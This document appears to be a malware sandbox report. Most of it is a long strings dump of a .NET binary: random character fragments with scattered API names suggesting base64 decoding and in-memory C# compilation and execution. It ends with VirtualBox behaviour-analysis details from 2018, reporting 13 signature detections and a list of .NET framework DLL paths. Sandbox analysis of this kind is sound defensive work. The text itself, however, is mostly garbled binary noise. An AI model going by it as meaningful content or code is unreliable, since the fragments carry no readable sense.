{93\
UCS+
#9M1
1k_
RVhI+
zE F
^T;'rb@@
\$3a
gh$*N
UD"MM
$(-0
6e"?
4yj.
I&B
: `d/g
,-V8
,-L_
;HZ!
'O(gfF
Xmk?V
}cj
+"/Y
GY$T
Uw86
7ML
-^O^
L[N[LO
nJj!
S %t
Tf
jmmjc
%tS%]>S2
iC\s
pn2)
UA:M
@ 7/G
!lz|
OHLt 2
WW0P
Fe|n
L9/;e
y|xYT
QsS@
W(+e
:f_}t=k
!:1[w
2[m+
+Z<5
`$wy
:wfoo
2hHHQ3
n9 (
b 13
UGSG/D
oT9\0
r 6T
q/[{
Lkp'
HxKp
g>=k
4kiZJZ'
ZzBX MD
,3k3E
,: j
zeOAi
o2%X
O7HX
?[&#
]P/ I
[^#1
5s7>
zDX
o}>(I
17Z
I#eq
~9A+a
[y r-Ax
2OAn
bV %
5F`}9_
$V{2
4 3p
-KyL7)E
L8KD
?1t6Y"
a` b
(!k
18
u]Y+
^F6Q
0 =
E/FL
*@#4
98Wq
=9J(
mZes;
LAJ!;
[O,<
.QS.r
0Hp
=s|
*`[mm
WwT!
o;<8
!0xFp
V|nP
XX<
n,n3MF /W
vSDeK
k.- G
?|#5
S}$E
EKg/R
b<uD{
C}zQ
5mZH
VOG
4q37
g{0HS1
wrw
-l\+
\\MB
k_&
tU`nz&fA,PV":
aU.c
QU/]
%wpI~
edE2ss@
bB<\
_bv
>1/ 5
e*g,,C
I zE
5MXGb
_U!S&tvO
-gKM iz
M^<!
1u
xy_oqks=357
TableSchemaInfo
*axdi2
Vq8 J*>|
Wn5j
rSh6x
U>N71
FT^&
.4;
pe!V
LZ`Z
`{i_{
?Jq~&
b=k
u+c
7Oe v
(_M
Y^g
Dhv&
F9G;
Int16Converter
0 lX:
9Zu?
$+lx<
uo(-XO
#]C*m
[o/pN>
<HJ,
?R Q_
\-{-
Jm6o:
& DC4
_A Za;
Ho=!
@]M.U
EBEj
&l<
~,*.M
XC0
` $F
Pv1)T4
LyMu k_
D|YjD
~TGw
{?~_z
R d
AEr8
)~X
Wo3A
cUD(
i.ChnC
H$G3
fa{ N
TK(_
`}S!?
HA}q}
^Uu
Wtk<
%DMPkt'
5/ Z
<oyWV
6] `FO
}q (
27
Ti7w
GQqX
5*|m9
;yPZ.
R>17[pY
`zX<
0L@D
14?o
i(Im
3R=^
u\ct
S43z~
~XM/
W'0(
o_V387
nl/%
x%~3
=R^i
{A5k
4~vQ6RB
=k6(
CL)z
_g}-
N5E6}c4
% t#D
'"T.
k(-\
.6OB<
yg:VG
Su '
{3Ol
@Soy
Tp F!,v
>u=r
>6R.
^+)8
+,.l
)]u#1qMS?
>Ru,>
v#(
yuKk
{8$[
Hmk}
~vj#x
%r*}1
P.t"
%bqq
=?&+2
gk }
nLOi:H
)A'iI
] "8
mSIj
ZRYh)2
y$!
7nc>j
:FWdF
{Iyy
n_:><\
E>M-
Qs_E
X,/V?
F(g.r
OoQ=
~Y3
0w72
y{3w
(l=7Cg
H-%T
{,)@i
gS<,T
1 6de
=J_-<
Hv1r
vS!
xIaI
R1>=W!
r[HF
)*=p[
`lt&
0>[)
!;bY
32H9
DebuggableAttribute
YS;@ m
RBE
g[Prs#Q
Iz&jS
x~!Uij
fiH<\
Tn@X
;C{Ewl])
/RXI
_|$v0,
EIj&t:@
b9j}z
.%^1
)Ip "/
]x]BWZZ
v'6;Q
#U[ #:
>+`
>ZYJ
F<^K
tlt_
=l0j
/|e^
>8l;
j[<6
) 95
mYc:
Ym/K
_VH
H{VR9
` $
4B,o
* Ub
^8:0R
sx) :\:
+IT&
f]Fl
jijY8X
?%9:*
y@T`
Jn:&
yZUlm N~sN
<T,
':[nHj
HZZa
g}74
(u0J/J\
wtHz@m/D
:<g1
V%J3
EXG
VSJl
b.dl
WOD2/
G=kX
<d4n
r0X@.P
P%CB
-#ON
Js+{
.#W|
i6*^
k/"dk8
wr=$/Q
Pc+;[
*J[I
LGo
Bm}T
n>#Ro
pj\W4
v&AiW
)U{aq
;Z( [
PPYf
&Vcu
\tnq
=k:
M/G}
YfusO
I. [
d#-t
KK}<
%M,/
mV6r
2Ax2
.*h_
dnD<
Y,ol1
j2gX
APL~
_t}\s+
;JM]
am@)
N(u L
Ew0rC8y8
p'g?
vN:h
Q^X_
K8{D
9%Sy
4>`@H$
UHBP0
<`
~Vgs
UNIkO
[{Yb:"V>8
K}Kt
Cdl\j
#W/
! g
"p8-
Yz&S
t O|o
!>~{H
ExT\{
{hq}
>e2S
E?[cZ
|4Hv
bP2o
&W3~)sw
KMm}uK
<{xo"7}
r oE`3
G4n^+
Q1oq
*byP
1as|
fk[,IOT
}2c1
L0k1
ea'R
@8q:
=}*
L<>S
zoyee
TdJH
l-e
~kj]
vi2
E<^^
fk9
+ o7
m]hW
;J/4k
('Dh
118F\
d 0^ud~9
<K"#3B|
jv<R
MsFy~v
** c
BFn^*2a H
eySt\
$<-C
fb~;
c8}Ht
<M|_
W=m;
.E:$
Oc=g
i1I+
F@q(D
(kyKqN
g9y
xy^y
E}KU}
_bW>
<kiP
Z(T?
0Fst`Qu
.@3P
fQj>(4
8 Vn
gBU"K
8%Dk
P [u7
W="b$R
[ak\
69):~2
,B{
*KvA
FFsV
}$Ils
OE/I|&N
t`<kV#
8`c|
L$wl
*\*N(Q0
UQ56
=:j;A
gHz}RH)w[
ffGa
Eg`O km~
[vGK0
(eyf
naa-~
8[Mq/ W#
8~l
o"Wy
8 ~8=
DDLE
`>=`D
_-X#
E=p
_78 P
>?e
I,c_
_]Xh[s
s@X,
m+X"(
G$bGY
AkEzE
G:V{
ts:Z
36 h
;dA<
&O 7
#~cV>u
Voa'
m f~
B]-Tu-
R?T>
gl)Y>
!]]*
h? ;km}
cS(:
NbP ?
m&v>v
Qp=/
v0<f
?{F6`
37zc#
4MR"
)~y!
Hl%%
p 0qb4
%Z8d
Ws3Yj
N`=Q:
GuJ| ~^
X&%&A!
#o`z
" _rc
~9;+_
n2]A-
4fC0
gw74Z
Q:!<
n=\#
_LT>
7Rns
}|Fu
?R_(
063,
^AfO
GJO_
J~A(U
>0JM
/ E#@
o/:x|
XZi'
Yk!u'
s68Z
8M`!
~
Ds\l
\iLz
6H59
V: H
\I_;8
DJ@]#
]$,7
}Il(
p|q!N
o] cu
`9y%
oXS*1
|,q!
J\gu
b&<l^5/R>
%TqY
7\'@
/Xn]
/UV,
<"9(8
RFX\}
\B_D ,b
/= W
(ApV
ow )
IMPS
6jXM
<@ >
0ZEx0
8x0&
=a!2X P
Z t
|7\L
",8d($w
J~}Gu
BwKN
VCL=
kUT)/
q,WyM
Y+*BY?
mLb,
zEz.
kK0i
+5`6eF
sET!K
j%g
p[k.
y/03f
Y(;K
t%Eu
a5-u
bRe/
`lb:8
H"@H
<k,v
iEsY!
|TC|
TV3v
# D[
y\2^
OT}f
|BDP@
ND\l)
# Do
D1
ROvg
.U|R
B$Ku
ie0QZ?
@?G#_
<Z6'W
d)!^
+57mt6H
'h2&
JyGH
Ir H
"txH}
H<!C
}r V
P$+i
v3&R
c'C
31m
~a@
|ek0cRd1
$N}m1I
bz;
&J</}G
RPHd
,JMb
]q`ViA
0qsj
$<tU.
R*t~y
!J ~
C{hH
ct{7
CG-i
E"!J
Ul@$xS~
~Vak
=zrX3
GC]W
@Q >w56
47} $
4pY!"
B3r!
sZm
L$} u
36 Dj
BRKYM
4b `
[h `
D<!X
^d,>
GNeJ
GxmwI
FaU[`
1 tA
&; 0 %a'
S+[=G
dN8m`d)
hOS51
1_ =
a4 i
7ux$
JB#]
{4NG
NZ~X
Nv)=
8D(Q
2*+
M{p?
Wsa&P
1VC9=
~{5HK
!(Dgl
'lK<
>+[EK
_:Fg
myz?
FZ$
vYn$
Gal+
u/ 7f
~OMb
qA$\
PpF4
W#__'WO#
Zhb.c
prQ
K (y
6uve7;
5Nyo
5~z6
UoA*
n&J,
CX1U:
u E
dGd&
)N '
RS%XJ
wX}x
W;.^
0|8?
hPrp
zK VvD
_+9n
im e76
8H *0
P]x5
z/Hu
9$R /'
ZSUU
GL.2
DRrt{
|a:W
&@*m
nz6
D "v
]XB9
Pn6#
dADh
#yv"|
0~^V
Mr-cH
|:f
.^!V
A+>T
Lv4?
(>n:
dno0
WriteLine
'u6}
W<T&
kQ?
k's
t3'P
!%XJzx
/>6d
8($P
M[$r9
gv^?
|fj/
5w6FF
P7Lsd
TmNv f
oI ']
34vB
kHO&h
XG]8
+txrc
S2zm
B\*Q
k*%UdU
KQ+<
HUV]
2Kwh
RU7V
:&|=
` xz
4ZRcr
zcE}
Sjg>
C>yg
bY$N
j7%^)N
1 pEv
?? *
RSuE
Gh)Q/%|
/t),
yL".
m.&a
M }Y
'IBq|t
RSut
&61qS
6i4s
28>jD}
Lb3+
Z)YT
C-Uz
4<Z
k|-)Fx<
[fc
7 v+
7.s|Ps
P~OZx
S4Bq
d&~<y
h7m 33S&T
dR0b
j?lr
V< j
QZX)F
p7Z
\EQj
Yy8D
EI{
<E;7{
z,Tf-
|K5 (
01:R
4O XK_
)(H `
[{ 2
|"8A
E5'C"
wzq m
'/]kPAk
w53#G
==(ruG_
P+="
kYvm
wVJg
h W=
%+pt7x
mscorlib
k2)
SicV
z`;[
Q6z?
RG1ZC
5n0
x}['
+~|tOaB
U&BB
=/?M>
d(hi|~
3uvh.
L GiQ
?ok
uWyS
B2w0
j$e3
`(e Fw
=y I
e-#o
Mk/0
=I >|
8?T9
, VR|
xO?
xTi(!
[)Nj
Z9`C:
T5"r%
(rw
_g$t *
T[JV5
- D
=Q(95,*
rtWA*(;r
i7S-
2!?D
9-j~
c!;P|W
xY\N
09%=
]=.8 X
I{;x
{oou
W] I:
4.%,
xCcYo<k
6:~@x`@
g,i|#y
l #i}l 4
:00<
-[:Mz
2I#s
TO'DM
FromBase64String
f3v_
:2+
,E/VLr
2yur
<kQ@
set_IncludeDebugInformation
_yOO
y,s6/H
dU<{W
KC,3
G"ZU
[s2W
?Q=RT
GYjn
PESa
Wbxf
jAAnfr
=&LJJA
\>AS\")
zFHZ#
7X a
j^n2)J&
jF?%
MXS+
%H/L+
~XrI
{s2u
jVM&:1
"$r\N
}#Z8
w!,r
LMXv
zz.F^0
WUJ;$
9\)=e
>v_X
EKz
n&*dy
`&K
.a\5i
4\Q]{^
2S?Z
Zoww
& hc
P+{@l
Nr\Z6U
w l> wQ
\\(%
|Vk5
j0o},
dI6
xV j
a=,6
99cf
P;+ -
`/k<
Oe8
S~v+v
wJ^L=V
E2wF
oRP%
xnQ@
^/d"
jqhK/
|8E@
~OKR
MW^@
FOuQ
%9@.
L_N7m^(
j:pp
-z&4
Yy~:
ahbma
9JBi
AuthenticationModulesSection
`dH6"
U]HX
K)e$
3 il
<~J!
Q}M
_KOB
o6 F2
YieldAwaitable
-U~
5$k;
T!~
!E`K
Convert
:X'H
{[r^b
_}+9o
/b7'
w>t;
]3eK
K~I`
AS?K
& <.
|L4x
XH -
}j93
<7\y
d9L
ylR
GA9 m
lkO"
A(7[/f
Z1[F
mN$q
&?V}c
!nT{!
5#9':
qwHi
x\V\@
+b*X1
T7 Oi
%x'
a'oQ;
&VedA
X36E.
QM`zG
X$!v%
g~7v
-p0H
aE!?c
!q>^
m~aP
bALd
^/\C
Hws1
1Fn;F
V _
eAG
/Vb3
}qtD
}mMK
T8e@0p
SEX7
nkM+m>Z+Oz
PT^/
`cf:{
rR<1i
8T%Dl
\W I|&
?3-5
Gy#-
`il%jg
.`fn
!mxMW
.1yy}9
7%^8
n~N-3
2}1~
8wJ&
[biz
!$I?
7&8&
iOSZ
X|du&
_XY=
,t7K"
" E\
,c4
(v8?
fiQ#(W
7<j'ek
jy&C
>&
VT8r >
Hfh\Q
zt$=
v&YJ
:b~|
*|S
dfD)BY
v8Y
b1=e
PQm&l
}X|ML
[U0
'`s
_LX'
_`}y
dU
fb_8
/k~R
(7GO
~omJ
Q !
S5:
h<M{
"@A
cS q
)^v C
^wqw
[Ls3
?Yw5
,x$wy
@W?q+ S
Olz[
=&*YI
U1zH
=:D)
41qj
GCyX/
|#1
H!FZ
rhRg
ATGd
V7f.c
gB*o>
dqT
(>
_ /
0% zh
}rSiO
Ye}jq1V
$fZ|
nIj/
Console
`7Wt
'$aNZr=
d_b.
kCsD
,$kG
`so!
o!t~9
a::
FyPig}
= p
@u7x
!~3Lb
N(FAR~
i\X|x
W^+~
KPHSc
i/A-W
"8Ki
64kZ
&>x;
5VR3
RBP
oj!8>
rua
1mYl
,|[-[
E-|B
Pn 7
\0N+,
Microsoft.CSharp
FC v
j^(^I
*g&b
#FD<
VsL|
.-K&L(
DD/
Q6F!C\=
si>nob
kN\&
FK<S
o_Q0\~i
Oi[?
$^[cs3
0]K
4pQ4
Zt/G0"
,'ZL
8I`1
AH+j
yG1j
` E
`R@F
*2ri
:$Fb=
wQb?
#-_5
AC$!
Environment
rV@W
IDtdParserAdapterV1
SOm =
*I6'
\j_0
&wO\9_
3DF/z
WKT'}
CF"/s
+ENJ
aj8^
Tb^>
get_EntryPoint
WT[dm
L9{?
*2r)
CI'#
+\Qe4
n)R"
ytjrg@
I_g#
[^s6
BGv]j
aH/
0b~
#6%[f
h@|x
H(+7
\:s,
^cx7
NCS0
UC`7
0+?~
;/?Fo
1i}*
u R*
?iGm:
0Qwu
k Ma
/ ~
H$OI
ofA
^>JNw
"yN.L
i~
qzV p
bY=R
j>\
[4nz5
GR?(WX
Tqj
!]vK
8A&(
Z\}c
N3 L/e&s
qT&
x W8%D
Tv:q
8?*;{
)8|D
lFFd
wtq
t)5O
Gh<]
:deMWU
<CT(
db
*z*=
U J7
S}e_g
S](^
`p&b
*2Z9TOS
z cZxx H
[h8,
lH0P
V1;K
V_v~9
`ha
&a j
~Mgz
VUAw
TextRenderer
Nj!4
4Pww
l'i
9INP
F4p_
j )`
]Lqf
!*HN`
t7W@
Y=B9\RS3R
D8I4
HcS7GhH
\I J
'_S[
MKD^
>W)A
C1Sa_s5
DTtl
{Pwyo
ij
*QkNX
>?HJs
c(By
&/ hw%
Z~ V
l%ex>
N$$cN
ouf53b$O
m~g~
xk:]V
S^*z
O4On
^<@:
cKLS
H'+m
=.C1
36>(gi
pT>.
SYMC
whx
0N_S_Gn
"(OO)g
86e
UCE6
ST7v
m 7W
\ y8
H^k<)=~:
8 /O
=B"j#
lwH
8\)f
]~7^
=>8z<
Xeh
'N^dOz2
v(64
*{th
XKD"D
t+X)
Mv}1=
r=qm
Qj3V
xy#0
DGj#
4'(^3
Rb[;
bKJn
Gd{m
P63
`6Ri
gwu}
zm X_
!U#k
Ks
rW4Q
5&Wu7
r)%4
@?A
V@)Ur
o`jp~>m(
r"*Fj
x{E9
EGoq
nK.BR
GF:UG
. u(
:N>YQ
V>(V
Tq+DC
V`*JfA"
C`cb
@4p1
ZE8n
Bd$)i C{
D `Fp
.(RP
W4p&
/r2;y"o
(-W-)
4 Zk
pE`5$
b@ c
3WG8
\KOT
plg"x
,B/^
5'V!z
vt^g/
Ox/@
eg,n
k=Gd
Y5YP
>`>j
sS i
<. Y
<'gWt
?HnN
TpI5A^
dP^Z
E jwb
neI+
I$B?
[?Kw
UbVu
9{x+(
ijgo'j
>4|r
u1&A
Zu?g
Z~(%
6sD{G
DI+x
QB16
kmM\=t6
-Ay]
f Qu
] 2
guOM
,N P
f&Kr
P&j
ONx
Y8K
MsulK
,]
K^e+|
r%35<<
yS_p
wM7}
mS7<
[7b[
M;[H
#A`&T
tI@_
yl91
SJ;>
uBF\
S+U% Y /
!q?-
GQfJ
RP2w
W<8K
+\@u/
+Xhh~M
X<mQ
5t*B
lP o
n'\ \6
?yqb
];)W
Tq F
ezqs
9VKGu
=r<4Q(
pHYs
+;F
{l
B;l-
P!G[
D%in-bj)
8OkS
)DD
vs q
TEH
UPkiM
!5tM)
Gp N
3 GK
ia27lB
20 ww
'
o8 ;
%|tb]N
e7/y
.={}{
QDIX*_e
ffZ'
U[mU
(ICCKy=#
}]'Hm
+c Y
9p31o^
Wv?_
b4gNX
U+Wu
z:vo
~<at
[ L7B
9U&W
:&U+
fhnzV:k0
C+h-
i~ ]
S_nw},
}/ [
h4Au
qZ0a
AExS
K QA@
EkO@
0g[L
]1xmk
&tu( &
B' ?
MmyC:M
V73
!@BG@!
O~{zz
> Z%(
CEMa
w/K_
N'+K
'qzoO
|gso
)X1_7
`Q=p
5UQU
o)fe
ii\O0N7/r
RqhM\Q
;~@@
F[\T
Q-
J[zU
2 0
wb]E
f# CM63u
,8 O
[|o6J
MM(o
a9$Q
v;kH
4Uo=T
([[g
TP5j
0 M
!U CA
7?s`
VUCK
q.~7
K!D"
5_W^z
Dq8t=
z/RJ
s#<
<=`^Fk
W^tH>
nre2
4x`s
tmES
<k%v Vf
\.<8 CJ
ATC`s
5x"3
2L{4
i6!Og
#'3'w7?
pebM
/$uZAJ
iT~,]Mj
w[1?%k
I8C4
u`n3G
f~Y7&
y" F
:jUg
esB*
j!+N
set_GenerateExecutable
,lUx
:=^s=
n=&S@
4E6-F
n}Qpm3
S^l)u
;.Wbi
+pM\IAvC
_/FGO
X%,$
KLC.
0ORB
Hf/W
R<+Ut
IZbT
?L"Ffx
2i a
&8I?
@w^J
'G)6$
N]U4
V*T|*
'F3RE
!!n
3:S/
%`R5n
S"%LZ*
{ \l*|
= jGu
EdY2|
<]}m
g*UA
l;[i
]P.\j
u<?)
_MZI
s"c58
_Pez
PK7/
0rVuW
D tN&2
{naD}`1
X@ $
ON">
o|za
E @@
;@S
LS9P`
8!z6V
Qq9 6
>2he
#~ \
TG=]
U.N7
@K=X
bsBn M
=1ue
nmc_
W)U-
P<a+
2I@wD
HO03
n@T3
>q+t
S)
Zzi'
ns7~;
Bx(ARpz
_N}s(
=h-o+
cbb#
_x.P
u 1wT
#_D4K
@s}re[a]}75=
'$E"'
A Y6P O
e!N"C
%i29
U,hpx
!|8\i
-N ?
ejli
CodeDomProvider
j;B8
"pPS
=JEK0
3-\c
l*%c
f0Ja&
G&'f.w~
8oMCW
z]+`{}aWK<+#
PQ:RN
`524U
B `5
T"\L
JH$-
2 pS
vT7B [
>i6Z
rX "{
WLOr.
twv%
DataStorage
"Tm
~n%]
+jg"
@Bqv
yxDk
7-$)
3 3U
dOYJ
2f+W
T'b:
p>h{ O_?{
n"TY(
g83C
_E'u
" L!
X @
h~x}
T$~]
$a<D
>*/zf
[Pb=
8K!A
s&2ih
I'"G_-
}{YE?O~
%:uF!
*M&}
D-2e
piYI
UHn>+0gf
]>Hx
i{
{HH
OJF{
K=7
XbER
Ny}e
Hhx 9
H ot
qR~@
l| RI
X cy
p(Cp,
Thl8&
o5OAbVr^Fa@&
MJQ*
%771 Q
I #o
Ceiling
! ,L
P6 ]
+dJSJ=
`bRY
':CE
tI>J
cU/wd
hGv5 GY,
]1AF
*0xn
]e,,c
-8 ,P<(!
wxA.
C[Q^
RC5K
26x?
>{:??d}
?\p9
G^ME
$}7;&
W p<x
R2>J
'Ts
UeeR&
Ut&L}hQ:
2-2/3] l6
g5 u
6n6A
Jb%C
1yv$
cYda
>a8?
D _W
PNgt`
r,lH$
Y\fpvs4,
u?]>
{xz6t
&a[-
Bsh4
~?f(
}mN-]2E
FcCn
qG3~`
^Z+ h=
yJ%J
<G^s\
{?Gp
Hl:
We Pm3
|'^p
D=w~{
z *Z
+ ((
.H|$
j7 T
;<B.Su^
4C
m&Lk.
\]7u4
PlYz6
^JD*&Lo
JA'6g
rzb,+g#gR0
r]S
{Ep3
1hmg
ql'#=
*z&;
Vo\ iW%
]L(*-\
z{UB
cPJu
J;VYv
t=?}
pB,7
~@7p
"a,.
%c_q
Sg-
AWQH
Stj#
)>j2
ReadLine
SV(O9
g3\3
)<6L&~
) !i
R\IM
c/Rv
)^k+
D9nOw-
V p!~
zpE1#sB
pe`L
X#m8
[E-u+
(^lxtCcB
}Lo
rg9r
E J<
Lejfi2Q
XkI3
EY.X
$~Ax
`|S|$
UqI$9
;ZL_YH
dbK;
zQx1
k6q,&F
{,JT
eNOH
#I}jx
JX]'">
Wr8^
Aklm
kwX<
%<
D/fcdp
5]7~
y~q\
s:<4]G
set_GenerateInMemory
p6lMh,D
i\,H
q#L&S?_
m#<7B
Y GkE$
-h>K
Dz h
kh(`
OIX:
" Q(
~Bb0
%??7e
J*'o
i-bR
!|h,
u{\/
I|4
/;_p
8(~lO
(Gj/r
B#do
eu#C
wjb:
`9wh
BSJB
#pUw^
NhSL
D<Y|
k} h)
pdekv
xCcH
6)
(G`Yl6
(k;
~5wY
tzG"
7Pvg
j(DL
Ny@J*=
` c
>}g8,
'/@^
*;E(
nP?a
h[rj
rU`Xl
CHt#
]kQc
Y^26Z7
%s/i^
3w?|9
hGB.
WG3_%
z^I &
I9o|
T6(@
EhFz
I'IMB
E}x9
kR" q
R6Y
yDnu?
Kl\v
5o%GWC
8H
kQoD
7WV'
Q+1E
< A[
C T M
v$U'
qNXm
+c_-R
uCDr
lE^ V
ExprException
PYom
bbZ(5E
o6~E;
:3O*
i:Zc
^/yD
<%I`[
_4jN"x
h.2(@:
e{qi
W?zu
0XLB/
[Io*$>
]0hF
E<5!
<9kH
~2T^?\
;ik\
=Y{n
GN(Awtv
}6Zq
j2n#2
*_OT v
t'U,
Ys0S.|
IG F.
qm2K
!#/?X&v'#
s[b@#
&C<>x
Mm RX
VO>(
X cJrbW
I&2e0Y\
b!Bc'
.' B(
FXT-^X
r=ZNT
~YjP
$|@4
W,|nt
$y:`
|l7_,
[7@'
Q7wg{
~fte
<qp1
mZqy
wNz$
1:gU
HF0
~72=
rdYj7
O%+C_oy
&*p J
bs}.D_
u"*`P
{"=z
IEND
s1\V
1<JT
>88x
;Zb}
.3{f
JW]%4
vq#U
$Z!2T
P>EC5`
h%wB
@Ja/sE(
QR'<QCK[
V\: I(
W'zm
(eJ,
ZM*c_
Ko7U
n7S/
C4g
B *\
gEY<#yg
%.
JFTD
\w7~>
\?-]
z?Iu
bYfw
\osj
d< @
n*#z
>>`LQ%
lLZ{
bRW^
D2]
CSharpCodeProvider
*(yu
JX,^
&##H
p}{d
UnU
5PBqo
iR1C
C?nR<hu
*peN
Kl_Z}
P@g`z
J i
2t1NQ
2B1J
jR3Pc
H C.
#KPp
^06[
%S; k
Uru}
P`Q_r
K xd
:cpM
MUT"
xdUr@
ny X
*=J#
yvd F
<k2\MH(
p>07
KEib[
Fgrjd
glg%
ps?!Goi#5_
G $n
gcFe
%Q^>n
n> I
<tB%P
^?WY!Q
Oe?y
nI`
z:WK
0N}j7
dojN&
d.QV
sL_V~
z7ag
40X0
.J3l;
hngVe-p
" ,Hq
7+5i
xXKb
W fA_w
ogWZFj(+
Tb&9
]?VJO
Vz+@
q|rc8/
0 1J0K
]ZhWx
1U)sV
"@+@
Encoding
zj&
:ap
]PRT
,mM+
e,p
|yQ-{
LGZBM
I<wX
X=}
">R#5
Kqa^
&A9
|xN
( _A?
tIA!
&, K/
Sdk
?Kc9
&t!
QoV 'Q
oPnCDy
<7T_
GVG#
_! /
W=43
6[\t
7BJ`
f&WZ
aLYY
[V #
iee/
^v~V
-Ev^
) z
Ktw5
|i>-
uF<7
J[N^
ax"bd0H}
KS'
cLW]L$
Qj5V
Z2q!
[jj a
4haB
] %d
6Vv}p
! x.s.
Y9B|
0q70
yB6h
j-3
&=BW
-1^S
Gy+n
dXw-
DbI`
[5Gs
)=y
oocu
lW4%
(Qu~1
*/Rk
_wQY
}Nf5
_EVF
jozep)i R1
$p4\wn
uc33
{qA5O
B"`~~!
u*;[V
I\<n
<zSvs
{=LU
/+(:
3S:;3
7ka]
wVf&o
y'DL@
/ob
mqeJ
I{Zt
xYnS
I<p<}7Q)
Object
[T=k'D
.Z*3
u]MIl
5'?XX
Xy|{)
B(s:
DCS^
?:3=N
`M+t
}u5k
2bz8
JN!
Ps:b
caLy
<2)+
Hy }
\JaTc
m py
DMFZ
Wq"#
StaticIndexRangePartitioner`2
}Ct^R
Tfz5
Cq^;
>heGo
R_?<
-zI
l py
vq~h
E:d3&3B
{ Uc
zsTI
9XS]
~?*
uIMQ
Lo|A
[X)lx
d]`PJ
3R.~
CwJJQ
ZhU$W
aBI=
bLOr
,tnW
<Mc-
62C 'W+CM
=)eD
bG=
'R pT
Q$s\&Q
@4Z:
FxW1
%l|
xe56fH:
Exit
rXa|
H+i
YAPN
x<tX`
*Y$6uC
RG+b)
3SLD
}Sji
Y ~q
YQ=^
/[#6
}|Y]
Z[aG
8A
5'P5E
H{?#
7M8)r5
8jL eO
Kv+#
^-w6Im
w H%
,X B.
<)9E3+
kb,ti.Za{
_2^W
<Fs+
-xg
n0JNf
??}~
PAZ:q>
1 oi
z8$d
+`=M
$[BfEf
5NeS
Ou<'9?
;N >
R k3
Td-F
bzrmw
lpdW
8zv8
'4>lj
C|*<-
6E[qx
Uv<m
j(({i
|D [
>F%3
q #6
Gq@N
Q ~&
BdeT
#+1|
4-`u
n*z&
<wT~
+t/{
"@J]-
F4{
r 0,
/JC o
Ve*iT
.XmPhH
tt??*
^? L)
-rA
0.@F&
DmbZ
gE9W
Y H#
1, L
x+I)
O)lJ
tQ@"
"R2x
5[U4
?vm\
<F Y
~$p|'k
X;gLv
P~y/
h|E7U
:.K|MJxM
OxZ^5mB
~_d4>
g$Q8
9sOJ
@"
MJaXV'(W0
~y &
~*v9
=Jvs
E!T[WG<
_g l
G[Kc
BF"$
ap/0
?O}L
_LTS}
)160
6]HH
+Von
w k
uu%e
Pj[P
~mo>
+N87
w^Na
,bpmV
n }=^
s&.$
P+Ic
Ia6(
UCMH
^ zO
dD }
dIn -)
=FqjccR
?L1ET
zKJP
[^.H
OyUy
c^d
jtx=
G1BC
zYDh
(} Y
^cS?
uSY%
][If>
)>YrO
04bp
:-8u
M^
*@4R
kM/%
t/zl
yj?=Y
Iu>eb
=^W`=%
xIqf
O M`
_Wjx
eso
umvF
%8#U
:(JC/CW
B ;^5
;Us6
1aeBe
OFb^
SB1kkce
&#;*
hOO c
BP"z
AKa0
% -a#
Afq!8.t
WTqP`R
A2-
`NMQ
7AD;KD
zoee
;{e%
!-L'
3b1V
/5EW
#QP:
'Fsc
`Z.\
Xi!a98
ipJb
yf{|a
3-"v
vSvy7
F\TL
v ZTn{
h}=6%
!H"n
t kG
System.Runtime.CompilerServices
!o>g0
Y)!)h;kn
&3;y
l:'M[_?
v$Y<
a~QZG
^6,'
6UpZ
Qh=,
^EO (
2%l
?Ih,
@!e`
#j&-\
JQAz
)s/
set_CompilerOptions
G Z&
NMr698
*=#u
)2EO
HaRx
SE'&
[.dg?W
PA3T xB2
1N_G
k::vd
B>gO
@}-$
.g2F
N~ o
X[%i
9Ly$
zphP$/
V.>R
[v\B8
/>AT
S6SrVv
dhrb
0!qwaJ
/%rpQ
isZ#
2s"((o
?A]m/
^,s^
1m?|+>
+?H;7
bSq7
I.~`Jt
dkDK
XFwm
A"@DB
wN+y
Pc3y}gcSW
;$%L
PQS]
vA*@
:cO3
+i$H
eLP6
_2;;
+eRs+6
~O *%
Mt>,
}- i
N W`@
[2 F
ezik
r#vO
[a~x
xL45
)nhN'
QBY; .
<kf7vS6
P'=#
Jm C4P
DU5b
(:}
1v^v
9o2~ q
(G?'
J ot@
O m}G
/y]z
~u*|
0` l}
f>1h
[3cp}
967<3V
lONo
]Mh\
B>` `
}p2^*
2>#e
>W~pg
*NW%
PFaLmln
SBg>
L")
<n3
@4
v
9?9R
M/wW
G/p~
H`BH?P9
@}U
%8F}
SeJo
$8HS^
bUw3O]
.l]w
lz 8Z
6}#~
z@ihC
WV6/
BgcC
-HPy
;Kd]]
kmPlc
/@3c
[^m!?u
> r
3@w^
nt0{[
SLE<
6gMu
&*6
cs #
SX$?E
"oU3;
CDk C
FT F:s
FXq1
7:X,
oX!?h jr<nC~
M#S(
BW5"
FKK
~CkFN"b
Jy}_
i)_
Mn!#
H2 VP
1tqA{E
ma3[
r+YS
rC*("
s @x
T 3 \
a<Li
yOsd
/:Y=Z
Gh"=
$:<u
dX;=
Xl_((f
AutoDetectType
y>R&
0ut 16
7K[V
Sf9K
.c5[_/?v
~ #B
vSrjMi$M
?}2~S
5IUs
7%"[
S;!O
Bfyp
r*J?
UpoH
to%Cs
{'a:
(F7B
M *,
6,(5`&*ji
@|%C)B
ZdyBx
KG}A{
+4g*
Yvz$
&[ 4>
s[U2
TWOx;r
S`#d
K ET
2r}V
llDW
.!Ql
\e?{L
sgmx
Jre,T
]@B@E
N},:
q6N ;
{C5e
_~ew
PN68
CE*u
H*oq
;9m>D
83+1>
L6.+
c^fg
Fc`s
hzxx
h=ZlI
_M-%
f<4d
sy@
TJ 0o
~8b/
em|#
=;O2
Ge E|
0G3]OE
N8pu
hA#@h
`0f`
xNa
Fuj5
,I'i
R D!
H#tc
l`$#
\MT4zz
Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-21 16:19:13 2018-05-21 16:22:04 171

13 Behaviors detected by system signatures

Behavior analysis details
Machine name Machine label Machine manager Started Ended Duration
Seven02_64 Seven02_64 VirtualBox 2018-05-21 16:19:13 2018-05-21 16:22:04 171

9 Summary items with data

Files

C:\Windows\System32\MSCOREE.DLL.local
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Windows\Microsoft.NET\Framework\*
C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll
C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
